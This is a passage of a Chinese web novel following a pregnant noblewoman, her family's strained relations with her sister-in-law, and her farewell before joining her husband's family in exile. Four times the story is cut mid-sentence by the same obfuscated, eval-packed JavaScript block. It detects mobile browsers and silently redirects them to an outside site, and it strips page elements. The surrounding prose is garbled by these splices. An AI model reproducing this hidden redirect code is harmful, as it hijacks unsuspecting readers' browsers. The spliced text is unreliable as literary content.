宣槿妤轻轻点了点头,右手还被娘亲握着,左手下意识地抚了抚腹部。 孩子很好。 再没有比这更能宽慰她的话了。 她微微笑了笑,这两日总是黯淡的眉眼终于有了些生气。 林清婉瞧着心酸,正要起身,便听得长媳赵安儿担忧的问话:“妹妹总归是在那样的地方待了几日,会不会和腹中胎儿相冲?” 林清婉面色微变,看向长媳。也才留意到她的站位,好似自进了这内室就没变过,就一直站在离床边最远的屏风处。 赵安儿此时已有了近五个月的身孕,却未坐下,而是被贴身丫鬟扶着,一手还放在隆起的小腹上。 如此嫌弃她的槿妤。 林清婉心里不悦,却顾忌着女儿,什么也没说。 赵安儿是定安侯府嫡长女,在那样一个子嗣繁茂的家族里并不得宠,尤其她父亲定安侯又是一个宠妾灭妻、重男轻女的主儿。 是以,她自小便学会了察言观色,对旁人加注在身上的目光也极为敏锐。 婆母林清婉看过来的那瞬间,她便察觉到了。 赵安儿冲婆母微微一笑,并不多言。 府医对婆媳之间暗中的交锋丝毫未察,只以为赵氏在担心小姑子,“死牢里阴暗,杂气确也有一些。不过小姐待的时日不长,并无妨碍。若是不放心,小姐这几日可多晒晒太阳。” 宣槿妤应下,“要喝安胎药吗?”她问。 府医道不必开安胎药,只和宣槿妤叮嘱了些注意事项,写了份食补单子。 “小姐虽是第一胎,但身子一向康健,只要照顾得当,生产时也会很顺。” 府医已经知道自家小姐过段时日就要随夫流放的事,温和地看着宣槿妤,“还请小姐保重己身,一切勿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762891|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要多思。”这句话,就是出自看着宣槿妤长大的情分讲的了。 宣槿妤起身谢过府医。 府医摆摆手,很快提着药箱走出了内室。 候在明间的宣文威见府医出来,问了情况后便亲自送他到院门,差小厮送他回了他在府中的小院。 “母亲,我……”府医走后,赵安儿开口,想跟婆母解释一番,她方才那句话并不是在嫌弃小姑子。 但林清婉打断了她,“好了,老大媳妇你也该累了,回去歇着罢!” 她性情一向平和,但长媳方才当着她的面问府医的话,几乎就是在说槿妤在死牢里待了几日,身上带了不祥之气,恐会和她这个孕妇相冲。 她看着对大嫂的嫌弃一无所觉的女儿,放缓了声音,“槿妤回了家,也要好好歇息。” 当初先帝赐婚的时候她就觉着这婚事不好,定安侯府那是什么地方?宠妾灭妻、嫡庶不分、阴私不断,被揭露在人前的内情才寥寥几件,便已经让人看清了这家族里的污糟。 她赵氏安儿自嫁进来,宣家没什么对不起她的地方;倒是她,总是和小姑子拈酸,搅得槿妤和她嫡亲大哥哥的关系都淡了几分。 自古姑嫂难相容,林清婉看得分明,但女儿有意退让,加之赵安儿也没做什么过分的事,她便也没对这个儿媳说过什么。 加之长子处理得当,长媳也安分了几年,日子久了,她险些忘了当年她是怎么暗中给自己女儿使绊子的事。 “槿妤,这里是你家,永远是你的后盾。”林清婉若有所指,“你还可以像小时候那样,有什么事都可以和娘亲说。” 宣槿妤依偎在林清婉怀里,哽咽着应了声“好”,全然不察娘亲不搭的前言后语。 赵安儿看着相拥的母女俩,抿了抿唇,她方才的话还是引起了婆母的不喜。 “那儿媳便不打扰母亲和妹妹了。” 她有些难堪地看了一眼一无所知的小姑子,对婆母福了福身,还是退了出去。 宣文威还在明间,见妻子出来,忙迎上去扶住她,“槿妤怎么样了?” 赵安儿若无其事,“府医说无碍,妹妹身子一向康健,孩子也很好,顺利生产不是问题。” 方才已经听府医说过一遍,又见妻子也这么说,宣文威便点了点头,“三弟到时候会亲自送妹妹到广虚府,我等会儿再给他去信一封。” 赵安儿脚步微顿。 夫君昨日已经给三弟去信,今日又要写信过去叮嘱他如何照顾妹妹,果真是爱妹心切。小姑子是个有福气的人。 她想起了方才内室里虽然悒郁不乐却仍清艳可人的宣槿妤,心里生起微妙的妒意。 宣文威察觉到妻子的走神,问她,“怎么了,可是身子不适?” 赵安儿勉强对他笑了笑,“无碍。” 她想起了婆母的不喜,踌躇地开口,“我方才,好像惹怒了母亲。” 妻子这副神态如此熟悉,宣文威语气寻常,“母亲性子宽和,寻常不会和人生气的。” 他这话没别的意思,当是劝人的话,但赵安儿解读出了另一层意味。 15. 第 15 章 他母亲性子宽和,寻常不会和人生气。 赵安儿品着夫君的话,心底在冷笑,呵,他的意思就是她的错,是她惹了他母亲生气? 他都还未听是何缘由,就单方面定了她的罪? 赵安儿心里泛酸,若他知道,此事还涉及到他的妹妹,他岂非会勃然大怒? 她停下了脚步。 宣文威也跟着停下步子,不解地看着她,却见妻子眼中起了雾,有清泪滑落。 “夫君,我只是问府医,妹妹总归是在那样的地方待了几日,会不会和腹中胎儿冲撞。母亲便恼了我了。” 赵安儿啜泣,“夫君,我只是关心妹妹的身子和她腹中的孩子。” 她没有提及方才她说这句话时的神态和放在腹上的动作,以及一副避之唯恐不及的模样,但她说的一切皆是实情。 夫妻多年,妻子是什么样的性情宣文威心里十分清楚,甚至在她刚露出一副踌躇模样来时便知道她是在先发制人。 纵然他初始不满这桩婚事,但总归他娶了她。婚后他也总是怜惜她在定安侯府当姑娘时的不易,她偶尔和妹妹吃醋他也总会安抚她,但她好像总要和妹妹去争。 妹妹察觉不到嫂嫂话里行间对她的暗讽冷言,但她总能察觉到嫂嫂对自己的不喜和警惕。久而久之,连带着和自己这个大哥也疏远了两分。 宣文威心底微叹。 直到妹妹婚后他才和她修复好兄妹关系,如今她夫家出了事,正是需要娘家帮扶的时候,可不能让她寒了心。 娘那边应该会有安排,但我平日里也得多留意些,他暗想。 “好了,不是什么大事。”他安抚着赵安儿,“母亲应当没有说你什么对不对?你莫要多心。” 总归妻子还有身孕,纵然心里不悦,他也没有表现出来。 “莫哭了,当心身子。”宣文威替妻子拭泪,“母亲不会恼你的,若你实在担心,母亲那里我会去说。” 赵安儿啜泣声一停,紧紧绞着手中帕子。 宣文威心底微凉,替她将眼泪擦干,牵起她的手。 “安儿,”宣文威带着赵安儿慢慢往他们的院子走去,“妹妹即便嫁出去了,也还是我们宣家的姑娘。” 他没有再多说,他相信妻子会明白他说的话的。 赵安儿许久没有说话,只到了院中,宣文威转身快出院门时,她才说了声,“夫君,我知道了。” 宣文威没有回头。 赵安儿攥紧了衣袖,她说的那样小声,他会听得到么? 贴身丫鬟夏儿自小跟在赵安儿身边,了解自家少夫人的心性,方才她也一直跟在大公子和少夫人身后,将夫妻二人的一番交谈听得清清楚楚。 见少夫人看着大公子离去的方向,一副失魂落魄的模样,她有些不忍,“少夫人,大公子也说了,让您莫要多心。” 夫人性子好,不过是见自家少夫人流露出对小姑子的嫌弃,才一时不喜。 但少夫人始终是夫人的儿媳,为宣家生下嫡长孙和嫡长孙女,如今腹中又有了第三个孩子,夫人就算不顾大公子,看在三个孩子的份上,也不会为难少夫人的。 赵安儿何曾不知道这些道理。 “我是不是做错了?”她似是在问丫鬟,但更像是在自言自语。 “她宣槿妤命好,嫁了人还有娘家人为她撑腰。夏儿,我真羡慕。”羡慕到有些嫉妒了。赵安儿叹息。 院中丫鬟迎了上来,赵安儿不再多想,回了房中。 - 宣槿妤伏在娘亲怀中好好哭了一场。 林清婉轻拍着她的背,替她顺气,也没有劝她说什么孕中不要哭之类的话。 她知道女儿心里的苦。 “哭吧,哭出来就好了。”她温柔道。 宣槿妤昨夜未曾歇息好,今日又未曾午休,哭着哭着便睡了过去。 林清婉爱怜地看着女儿熟睡的脸,用热巾子替她擦干了泪痕,又为她擦了脸。 “夫人,大公子来了。”丫鬟进来通禀。 林清婉替宣槿妤掖好被子,走了出去。 宣文威简单说了和妻子之间的对话。 林清婉冷笑,“我还未说什么呢她倒先委屈上了?”她瞪了长子一眼,“我跟你说,若你妻子再做出几年前那种暗中挤兑槿妤的事,我可跟你没完。” 宣文威苦笑,连忙保证,“母亲,不会的,我会看好她们。” 林清婉转头就走,她觉得自己多看长子一眼心头的火便多冒起一分。 “你做得到再说,若是做不到,”林清婉停下脚步,背对着他,声音很冷,“文威,我就你妹妹一个女儿,但我有两个儿子。” 宣文威明白母亲的意思,也没觉得心里不好受,只道:“母亲放心,若是安儿再让槿妤受气,我便带她搬出府另住,日后宣府便交给三弟掌管。” 林清婉仍是没有回头,语气却是缓和了许多,“文威,你知道就好。我希望我和你父亲百年之后,宣府仍是你妹妹的家。”而不是有家归不得,受了委屈也没地方回。 她也是才发觉,女儿嫁人后,空闲时往林府跑的次数多于回宣府。 她闭了闭眼,府中有一个不待见她的长嫂,还是日后要接管宣家的长嫂,难怪女儿不愿意回家。 她自诩在宣府无人能让女儿受委屈,却在她不曾发觉的情况下,女儿已经默默忍了三年的委屈。 一向娇气的女儿竟如此委曲求全,证明她这个娘亲做得着实不好。 宣文威郑重回答,“母亲,槿妤永远是我妹妹,宣府也是她永远的家。” “文威,你数过槿妤嫁人的这三年,她回府的次数么?”林清婉声音里染上一丝颤抖,留下这句话,便不再停留,直接进了内室。 留下宣文威,在原地怔愣了许久。 林清婉绕过屏风,还未来得及擦拭眼角的泪,便见方才熟睡的宣槿妤已经坐起。 “槿妤,你……” 宣槿妤将她拉到床边坐下,替她擦了泪,才将头依靠在她肩膀上,“娘,我听到了你和大哥哥的对话。” 林清婉一怔,心底酸楚。 “这三年里,你受委屈了。” 宣槿妤摇头,“娘,我不委屈。我喜欢去林府,外祖父可疼我了。”她避重就轻。 林清婉叹息,便也不再说什么,将宣槿妤睡乱的发丝理好。 女儿是什么时候发觉长嫂对她的不待见的,她也不想再问了。 “娘,我在家待半个月就走。”母女二人互相依偎,安安静静待了一会儿,宣槿妤说道。 半个月后她腹中的孩子就满三月了,胎气算是坐稳了,她便可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762892|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安心出发上路了。 林清婉不舍地答应了。 宣槿妤在家的日子过得很快,转眼便过了十余日。 林清婉已经为她打点好了路上所需的东西,仍觉得不足,手中单子一添再添。 “娘,皇上会让我们带这么多东西走么?”宣槿妤看着娘亲手中长长的单子,心里发软。 “若是不给带,”林清婉继续在单子上添了几笔,难得地笑得狡黠,“便让人偷偷在后面跟着。” 宣槿妤不舍地看着林清婉,惆怅涌上心头,鼻尖也微微发酸——再有两日,她就要走了,不知何时才能回来。 “娘。”她从后面抱住林清婉,蹭了蹭她的后背。 林清婉停下手中的毛笔,转过身抱住女儿。“怎么了?可是夜里又睡得不好?”她关切地问道。 宣槿妤在家中养胎的十余日,夜里总是难眠,白日便总是精神不济,却也睡不着。 若非她日日守着,亲自盯着人将膳食吃下、将补汤喝下,还不知要瘦多少。 林清婉微叹——她不是个爱叹气的,可近来都叹了多少次了? “把心事说给娘亲听,好不好?” 一层水雾瞬间在眼中浮现,宣槿妤摇摇头,“我就是舍不得娘亲。” “娘也舍不得你。”一转眼,当年怀里小小的婴儿都这么大了,林清婉感慨。 她生过三个孩子,只有女儿槿妤是她亲自喂养的,和女儿之间的关系自然也更加亲密。 “路上若是走累了,便上马车歇一会儿。……生产的时候也不要怕,稳婆会提前准备好的。……”林清婉絮絮叨叨地说着这些天她早已不知讲过多少遍的话。 宣槿妤认真地听着。 不管听娘亲讲了多少次,她都十足耐心。 春末的风已经有了微微的热气,闷雷声响起时,恰巧打断了母女二人之间的温馨相处。 雨淅淅沥沥地下着,泥土的腥气混合着被雨冲散的热气窜了进来。 林清婉起身关了窗。 回身再坐下时,她终于提起了这些日子里她极力避免谈及的话题。 “槿妤,你和琯璋之间……你是如何想的?” 宣槿妤眼睫不觉颤抖了下,垂下了眼睑。 她自以为自己十分潇洒,拿得起放得下,当日将和离书扔给苏琯璋扔得十分洒脱,转身却在房里大哭了一场。 她刚进死牢时拒绝和他交流,却很快接受了他的触碰,还骗自己说在牢里他们还是夫妻。 她讨厌他三年冷颜,无法接受他心里藏了人,却更恨他轻易地就想舍弃了他们的孩子。 她右手再次抚上小腹,眼泪再也忍不住,簌簌落下,“娘,我该恨他的。” 但她好像更爱他。 “娘,夫子以命告诫我不可重蹈覆辙,但我好像做不到了。”宣槿妤泪眼朦胧地看着林清婉,哭得像个迷了路的小娃娃。 林清婉也忍不住跟着女儿落泪,“好孩子,你哭得娘心都碎了。” 她十月怀胎的孩子,捧在掌心的女儿,此时正和她哭诉着情伤,她却无能为力。 宣槿妤哭声渐小,只抽泣着,“娘,我好像还是喜欢他,怎么办?我就是这么没出息。”她小声着说道。 林清婉定定地看着女儿,良久,长叹一声。 …… 16. 第 16 章 “槿妤,不再在家里多待些时日么?”宣文威再次问。 今日是苏家人被流放的日子,兵部特许宣槿妤不去刑部死牢随苏家人一起出发,而是由宣家人送到了城外的十里亭。 她就要在这里等候从京中徒步而来的苏家一行人。 宣槿妤正被林清婉搂在怀中,闻言摇了摇头,“大哥哥,我在家多待一日,他们就要在狱中多待一日。” 正如那日林清婉和苏老夫人说的,她何尝过意得去? 宣兆微微颔首,“也是,苏老夫人年纪也大了,可不能在死牢里多待。” 宣文威便什么也没再说了。 今日宣府中除了有孕在身“不宜远行”的赵安儿和年岁尚小的孩子们,凡是在盛京城中的人都来了。 熙熙攘攘的一家子,热热闹闹地拥挤在小小的亭子里,倒是让负责押送宣槿妤的兵部两名官兵无处下脚,留在了亭外。 “大哥、大嫂、三弟、三弟妹,你们先回去罢!” 宣兆转身对庶兄宣迈、亲弟宣阑及他们的妻子说道:“苏老夫人和孩子们脚程慢,不知何时才能走到这里。” “老大媳妇儿孕中不便,定是看不住那帮皮孩子们。” 宣迈和宣阑对视一眼,又看了看亭子里热闹得过分,不像是分离而像是在团聚的一家子,点了点头,“那我和二弟便先带着人回去了。” 五个堂兄一一和宣槿妤告别,堂嫂们也和宣槿妤拥抱了一下。 二堂兄微微笑着,“槿妤,珍重,若是有需要,随时给哥哥们写信。” 宣槿妤眼睛一热,哽咽着应了声。 隔房的十多人都回盛京城了,十里亭里便只剩下宣兆、林清婉、宣文威和宣槿妤一家子。 兵部两名官兵十分识趣地走远了两步,留他们一家子抓紧时间叙话。 “娘,外祖父的病怎么样了?”宣槿妤担忧地问。 林太傅自在宫中连跪了两日,回府后便身子不适,只强撑着不告诉任何人。 但如愿得到苏家人免于死刑、宣槿妤归家养胎的消息后,他下了朝回府便病倒了。 宣槿妤昨日到林太傅府看过林韧,老人家当时瞧着挺高兴,但她总觉着外祖父的病情并不似他告诉自己的那样轻,他瘦了好多。 林清婉心里也是和女儿一样的担忧,但她并未表现出来。 女儿要离京了,还是被流放出京的,即便做足了准备,她也能想象女儿路上到底要吃多少苦头。 “放心,你外祖父没事,家里舅舅和舅母们都看着呢!娘接下来也会常去看望他老人家的。”林清婉温声道。 宣槿妤觉得是自己连累了林太傅,她心里已经很不好受,就不必再加重她心里的负担。 “槿妤,我们是一家人。”林清婉心疼地摸了摸宣槿妤的脸,“家人之间就该互相扶持,相亲相爱。” 林清婉也不明白为什么明明女儿是被娇养长大的,娇气的性子里却会有一股让人意外却又熨帖的温善体贴。 “好孩子,只要你好好的,我们做什么都心甘情愿。” 自苏家出事,宣槿妤已经哭了太多次。 她昨日反复告诉自己,今日不许哭。 但怎么办?她好像忍不住了。 她扑到林清婉怀中呜咽起来。 娇声娇气的哭声顺着风吹到亭外的两名官兵耳中,他们互视一眼,皆察觉了对方心里的不自在。 这么个娇小姐,听说还是陛下的心上人,他竟也舍得将人流放至那等去处。不是逼着人去死么?听说她肚子里还有一个呢! 宣槿妤这半月一直在家安心静养,只在昨日才出门去了林太傅府一趟,并不知道盛京城中关于她、苏琯璋和新帝之间的事已经传得沸沸扬扬却又无声无息。 林清婉有所耳闻,但她自知女儿从未将新帝放在心上过,便也没和她特意提起。 而宣兆、宣文威这些时日上朝下值,耳中倒是听了不少闲话。 二人只觉可笑,他们家槿妤一向和龙椅上那位无甚交集,不过是因着林太傅的关系,那位登基时口称槿妤一声“师妹”罢了! 真论起来,槿妤哪里是他的师妹?林清婉才是他大师姐罢!辈分都错了。 当日他们以为新帝是不在意当日槿妤抗旨拒婚让他被先帝罚戍守皇陵的事情了,而特意释放出的善意。 但今日看来,绝非如此。 当他们不知道,这满盛京城里的流言,源头是在哪里么? 父子二人当日聚在书房商议了半个时辰,最后决定不让这些污糟事脏了宣槿妤的耳朵。 只是,苏家人从刑部死牢出发,途经大半个盛京城,再出的城门,他们现下只怕都听到那些流言了罢? 宣兆看着慢慢出现在视野中的一行人,若有所思。 盛京城外的这处十里亭建在半山坡上,居高临下,视野十分清晰。 宣槿妤已经收拾好了情绪,坐在铺了垫子的石凳上。 “琯璋他们已经走到山下了。”林清婉观察着女儿的神情,提醒她道。 宣槿妤也看到了。 她看着慢慢走到视野中心的苏琯璋,心里不由得想起那日和娘亲哭诉之后娘亲跟她说的话。 “娘,我好像还是喜欢他,很喜欢,很喜欢。”她流着泪,神情期冀地看着林清婉。 “娘,我好像没办法不喜欢他。” “我是不是很没出息?” 林清婉将她拥入怀中,“好孩子,你很勇敢,才不是没出息。” “当年夫子之事,都怨我和你父亲没有及时察觉,让你受了惊。” 宣槿妤在她怀里摇头,泪流不已。 “你夫子她,是走入了魔障。”林清婉想起往昔风华绝代的佳人,唏嘘不已,“但槿妤,你和她不一样。你比她勇敢许多。” “所以,听从你心里的声音,再勇敢一点。” 所以,再勇敢一点,听从心里的声音。 宣槿妤看着苏琯璋一手抱着最小的苏玉慕,一手抱着龙凤胎中的哥哥苏玉桓,看他边上山边留意被许玉娘搀扶着的苏老夫人。 心底酸酸涩涩,却又有雀跃之意涌上心头。 他形容憔悴了很多,虽然身形依旧挺拔,但素来没什么表情的面上有很深的晦暗之色,像是很久没睡了一般,将他的神采压低了几分。 但多日不见,她见了他仍是心有悸动。 她垂下眼睑,掩住了她乍见他便瞬间璀璨起来的眸光。 十里亭里风有些大,拂过她的衣裳,裙摆维扬。 已是巳时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762893|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,阳光很好,掠过亭子斜斜照在宣槿妤身上时,恰落在她小腹的位置,温柔缱绻,似是爱抚。 宣槿妤右手还拿着林清婉给她拭泪用的帕子,左手慢慢曲起,掌心置于腹上,慢慢握住了这缕阳光。 “孩子,你爹爹来了。”她心里默念。 但孩子,你爹爹害娘亲这么伤心,娘亲是不会轻易原谅他的。 苏家一行人从刑部出来时,身上的镣铐锁链皆已被卸下。 兵书尚书岳丰亲自到刑部接的人,和梁方方做的交接。 “梁尚书,人我便都接走了。”岳丰很是客气。 梁方方眼见着犯人们一出刑部,便被兵部的人解了枷锁,神情一言难尽——那是他才让人给他们戴上去的! “岳尚书,还未出盛京城,你这……”众目睽睽之下,他这也太明目张胆了罢?! 梁方方知道,眼前的兵部尚书岳丰是苏家旧部,年少初上战场时还被如今的苏国公苏声从敌军砍刀下救过性命。 他能理解岳丰对苏国公的感激,但人都还在刑部呢,竟如此给犯了通敌叛国之罪判了流刑的犯人礼遇,莫不是以为真没人参他呢? “岳尚书,你得给我一个交代。”梁方方板起了脸。 岳丰仍是客客气气的,仿佛没看见梁方方有些发黑的面色。 若忽略他那张威猛严肃到能够吓哭一大批娃娃的糙脸,还以为他是哪个文官。 “梁尚书,苏家并未定罪。”岳丰盯着梁方方,“有罪之人才要上枷锁。”他说得意味深长。 梁方方皱眉,“胡说,怎么没有定罪?” 岳丰手中还拿着明黄的圣旨,朝他无声地挥了挥。 梁方方紧盯着那道圣旨,忽闻一向清清冷冷的苏少卿苏琯璋冷笑了声,便猛地醒悟过来。 苏家人确实没有被定罪,只是嫡系被流放了而已。 “通敌叛国”这个罪名是陛下亲自定下的,就写在最初那道命令禁军统领袭放带人包围苏国公府将人下狱的圣旨上。 但也到此为止了。 毕竟依据律例,凡通敌叛国者皆须经三司会审,有罪者严惩,无罪者还其清白。 梁方方眉头直跳。 苏家人被下狱之后,还有人提及“通敌叛国”这个词吗? 今晨才下过雨,现下潮湿的地面还未干,阳光落于其上,烘出些许泥土的腥涩之气。 刑部大门处安静得可怕。 孩子们依偎在大人身旁,清澈的目光跟随着大人们落在这位刑部尚书身上,只看得他额头溢出一滴冷汗。 梁方方反应过来了。 苏家人进了他刑部死牢的第二日朝会,他出列刚说苏国公府涉嫌“通敌叛国”,便被林太傅打断了。 然后朝堂上就三司会审、苏家是否通敌叛国为题吵了大半日,当日林太傅便入宫以金腰带换得苏家生路,翌日陛下便下令免除苏家夷三族之刑罚,而将苏家嫡系阖家流放。 确实没有再提及通敌叛国的罪名,甚至圣旨上连一个罪名也没写! 梁方方回忆起了方才宣读过的圣旨内容,猛地睁大眼。三月末的天气,他却出了一身冷汗。 既是无罪,陛下以什么名义将人定的流刑?半月来竟也无人察觉么? 如此荒唐! 17. 第 17 章 岳丰见梁方方终于想明白了,不复他方才像是被夺舍般的客气,爽朗一笑,一口大白牙十分闪耀。 “梁尚书,人我便都接走了。”他重复了刚进门时的第一句话。 梁方方惨白着脸,看着岳丰和手下官兵恭恭敬敬地将苏家人带上了马车,而后一行三十余匹马、几辆马车,浩浩荡荡地往城门方向驶去。 “大人?”刑部侍郎路过大门,见尚书大人一副丢了魂儿的模样,忙拍了拍他的肩。 梁方方浑身一抖,将毫无防备的刑部侍郎吓得够呛,“大人?”他连声音都还在发颤。 若在平时,梁方方定是要好生安抚一番被他吓到的下属,但如今他哪里有这个心思。 “无事,我进宫一趟。”他匆匆留下这句话,便疾步往外走去。 陛下让他在盛京城中散布的谣言都已经传出城外了,过不了多久便能传遍全国。 这时候,若让人知晓苏家是无罪却被判了流刑,还被流放至民不聊生的广虚府…… 他不敢再想下去。 兵部的马车慢慢驶过喧闹的盛京城。 苏琯璋听着百姓们口中津津乐道的,槿妤和他夫妻二人,还有新帝之间的风月之事,脸色沉冷无比。 孩子们还小,听不懂,但见到大人们脸色都极为难看,便懂事地坐在一旁,不吵也不闹。 岳丰骑着马走在马车一旁,看着安安静静的几辆马车,心里的敬佩越发深了几分。 不愧是苏家,掌军得当,竟连家中子孙的教养也十分妥贴。连这么小的孩子,被关在那样不见天日的死牢里半个多月,乍得自由仍不见浮躁。 不错,真不错。 马车出了城门,在距离十里亭还有约莫一里路的时候停下。 苏家人下了马车。 “这里到十里亭还有一刻钟的脚程,马车难行,”岳丰对苏声说道,“在下便不再送了,保重。” 苏声抱拳,“多谢。” 岳丰爽朗一笑,“国公爷客气。”他翻身上了马,正要驱马前行,想到什么又转过了头。 “国公爷可看完圣旨了?”他指的是对苏家嫡系施以流刑的圣旨,方才送苏声上马车时他便顺势递过去了。 苏声想起被他随意塞在包袱里的明黄圣旨,也笑,“看完了。” 圣旨上的笔迹属于龙椅上那位,也不知他在写的时候都在想些什么;分明都恨不得让他们阖家死绝了,亲自在圣旨上落笔的时候却如此…… 嗯,如此“丢三落四”。新帝也才二十三岁,不过比自家璋小子大上一岁,便如此“健忘”。怕不是一想到他们被流放至广虚府便开心过头了罢? 苏声笑得耐人寻味。 岳丰哈哈大笑,“那国公爷可要收好了。” “会的。”苏声和他交换了一个心照不宣的眼神。 “不过,现在陛下怕是已经反应过来了。国公爷,我得回京了。”岳丰抱拳。 苏声回礼,“多谢,保重。” 岳丰摆了摆手,留下了护送一行人的官兵,他自己则单骑回了盛京城。 苏家一行人和官兵们皆在原地目送他远去。 不知何处吹来一股大风,送来高处的喁喁私语声,只距离较远,什么也没听清。 孩子们好奇地张望着四周,试探地踩了踩地上还未干透的泥团,很快将其压进半干的土中。 这下几个孩子都来了兴致,一踩一个泥团,很快他们脚下的小泥团便摊成一张张泥饼,与山泥混合。 孩子们清脆的笑声拉回了大人们的注意力。 “走吧,”苏声将手放在苏琯璋身上,“槿妤也该到了。” 想到宣槿妤,苏琯璋目光柔和了许多。 “小婶婶在那儿。” 正在踩泥团玩儿的彤姐儿已经半个月没见到归家养胎的小婶婶,乍然听到宣槿妤的名字,下意识一抬头,便眼尖地看到了半山坡上亭子中的宣槿妤。 顺着她手指的方向,其余人也见到了候在十里亭中的宣家四口。 “我们也上去。” 许玉娘扶住了苏老夫人,苏二婶走过来,扶住了婆母的另一只胳膊。 许萱娘一手牵住女儿苏玉彤,一手牵住儿子苏玉启。 苏三嫂常湄言抱起了刚满四岁的女儿苏玉雯,不满三岁的苏玉慕和与苏玉雯双生的苏玉桓则被苏琯璋一手一个,托在掌心。 常湄言的长子苏玉格主动牵住了娘亲的衣摆。 苏四嫂丁茜茜见小儿子已经被小叔抱着,冲他感激地笑笑,也牵住了才五岁女儿苏玉燕的手。“燕姐儿若是走不动了,就叫娘亲抱,嗯?”苏玉燕乖乖应了。 今日从山脚到半山坡十里亭这一刻钟的山路并不好走。 今晨十里亭这处的雨下得尤其的大,山上的碎石泥团滚落了不少,混合着高高的草根和树木断枝,盖住了上山的路。 老的小的都上山了,剩下的苏声自觉地将马车上所有人的包袱带上,连提带拿、身上或挂或背,看上去就像个行走的包袱山。 兵部负责押送的三十余名官兵默默地看着,面面相觑,帮也不是不帮也不是。见人都走出一截了,便不再犹豫,最后只各自牵了马,跟在后头。 十里亭是再挤不下了,马儿皆被拴在不远处的树荫下,官兵们四散,警惕地观察着四周。 苏琯璋走到亭外时,苏二婶正和林清婉说着话,二人脸上都带着笑意。而许玉娘和苏老夫人已经坐在石凳上,一人一边拉着宣槿妤在细细打量。 “怎么不在家多养些时日?”苏老夫人紧紧握着幼孙媳的手,满面慈爱,“都是有身子的人了,怎么脸上没见一点变化?” 许玉娘附和,“是呀!没瘦但也没胖。可是孩子闹人?” 苏琯璋目光流连在宣槿妤脸上,放慢了脚步,想听宣槿妤的回答。 听着祖母和婆母关心的话,宣槿妤心里微暖,“孩子很乖,不闹人。” 若非府医每隔三日便为她把一次脉,调整一次膳食方子,对于孩子的到来,她都还没有半点实感。 若说前头她喜欢将手置于腹上,只是有点不敢相信自己居然有了身孕;后来,便是觉着不可思议——她都还一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762894|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点感觉都没有,孩子竟真的是在里边么? 眼角余光的亮处落下阴影,宣槿妤偏头看去,便见苏琯璋正站在亭外,见她看来,弯下腰,将手中的两个孩子放下地。 “小婶婶。”两个小男孩儿蹦蹦跳跳地跑过来唤人。 可莫冲撞了小婶婶。 宣文威下意识想将这句话说出口,但很快便见到两个孩子跑进了亭子里,在距离妹妹三步的距离处停下。 他松了口气,便察觉到肩膀上被父亲宣兆拍了拍,他转头。 “没事。”宣兆冲他做了个嘴型。 他当日去刑部死牢见槿妤,间接地和苏家这些孩子们待了些时辰,见识到了他们的教养。实在是些好孩子。 宣文威朝父亲点了点头。 宣槿妤已经看到刚转过弯、走至苏琯璋身后的苏声,站了起来,“父亲。”得到回应,她又朝后面弯了弯唇,“大嫂嫂、三嫂嫂、四嫂嫂。” 许萱娘、常湄言、丁茜茜也十分开心地看着她,见她眉目间平和,便微微放下心。 那日小弟妹和小弟闹得当场决裂,她们生怕二人见面又发生什么不愉快的事情。 而亭子里方才冲到宣槿妤面前的两位小兄弟已经吃完了方才宣文威喂给他们的松子仁,忍不住想要说话。 “小婶婶,妹妹。”最小的苏玉慕先开口,眼睛亮晶晶的,直直地盯着宣槿妤的肚子,看得出他十分兴奋。 “慕哥儿,不一定是妹妹。”苏玉桓纠正小堂弟的话。 其他人也都到了亭子外。 苏琯璋转身接过父亲身上挂着的大部分包袱,进了亭子,其余人紧随其后。 “小婶婶,你肚子里的是弟弟还是妹妹?”苏玉彤听到了方才两个堂弟说的话,好奇地开口问道。 宣槿妤被几个孩子用期待的眼神看着,神色赧然,“小婶婶也不知道是弟弟还是妹妹。”她说着,白皙如玉的耳垂一点一点染上了绯色。 